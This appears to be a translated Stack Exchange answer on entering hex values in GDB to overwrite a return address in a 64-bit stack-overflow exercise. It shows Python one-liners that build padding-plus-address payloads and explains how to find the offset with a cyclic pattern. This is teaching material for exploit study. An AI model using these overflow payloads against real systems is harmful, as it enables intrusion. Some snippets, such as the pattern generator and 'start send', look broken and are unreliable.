无法覆盖返回地址制造栈溢出:GDB中如何输入十六进制值?
Hey there! Let's work through your problem with inputting hex values in GDB for that 64-bit Linux stack overflow test from The Shellcoder's Handbook (2nd ed., page 23). First, let's cover the reliable ways to feed hex payloads into GDB, then touch on why you might not be overwriting the return address yet.
Since you're on 64-bit Linux, remember return addresses are 8-byte values (stored in little-endian order), so your payload needs to account for that. Here are the most practical approaches:
1. Use Python to Generate Payloads (Recommended)
Python makes it trivial to build precise payloads with padding and hex addresses. This works whether your program reads from command-line arguments or standard input.
For Command-Line Argument Inputs
If your serial program takes input via argv, set the args in GDB like this:
# Replace <padding-count> with the number of bytes to fill the buffer, <target-addr-hex> with your 8-byte little-endian address set args $(python3 -c 'print( b"A"*<padding-count> + b"<target-addr-hex>".decode("latin-1") )') run
Example: If you need 120 'A's to reach the return address, and your target address is 0x0040123456789abc (little-endian becomes \xbc\x9a\x78\x56\x34\x12\x40\x00):
set args $(python3 -c 'print( b"A"*120 + b"\xbc\x9a\x78\x56\x34\x12\x40\x00".decode("latin-1") )') run
For Standard Input
If the program reads from stdin, redirect input from a Python-generated string:
run < <(python3 -c 'print( b"A"*<padding-count> + b"<target-addr-hex>".decode("latin-1") )')
Or if you're debugging an interactive session (after starting the program with start), send the payload directly:
start send "A"*<padding-count> + "\xbc\x9a\x78\x56\x34\x12\x40\x00"
2. Direct Hex Escaping in GDB
GDB natively supports \x escapes for hex characters. If you're manually typing input (not recommended for long payloads), you can just enter:
AAAAAAAAAAAAAAAAAAAAAAAA...\xbc\x9a\x78\x56\x34\x12\x40\x00
But this is error-prone for large buffers, so stick with Python for anything non-trivial.
If you're struggling to hit the return address, you probably haven't found the exact padding length needed for your 64-bit stack layout. Here's how to fix that:
- Generate a unique pattern string (e.g., using Python or GDB PEDA's
pattern create 200). For a DIY Python version:python3 -c 'import itertools; print("".join(itertools.product("ABCDEFGHIJKLMNOPQRSTUVWXYZ", repeat=3))[:200])' - Feed this pattern into the program, let it crash, then check the value of the
ripregister (since it's 64-bit,ripholds the instruction pointer). - Calculate the offset from the start of your input to the value in
rip(use PEDA'spattern offset <rip-value>or a Python script to find where that substring lives in your pattern). This gives you the exact number of padding bytes needed to reach the return address.
Once you have that offset, you can build a payload that reliably overwrites rip with your target address.
内容的提问来源于stack exchange,提问作者Kanan Jarrus

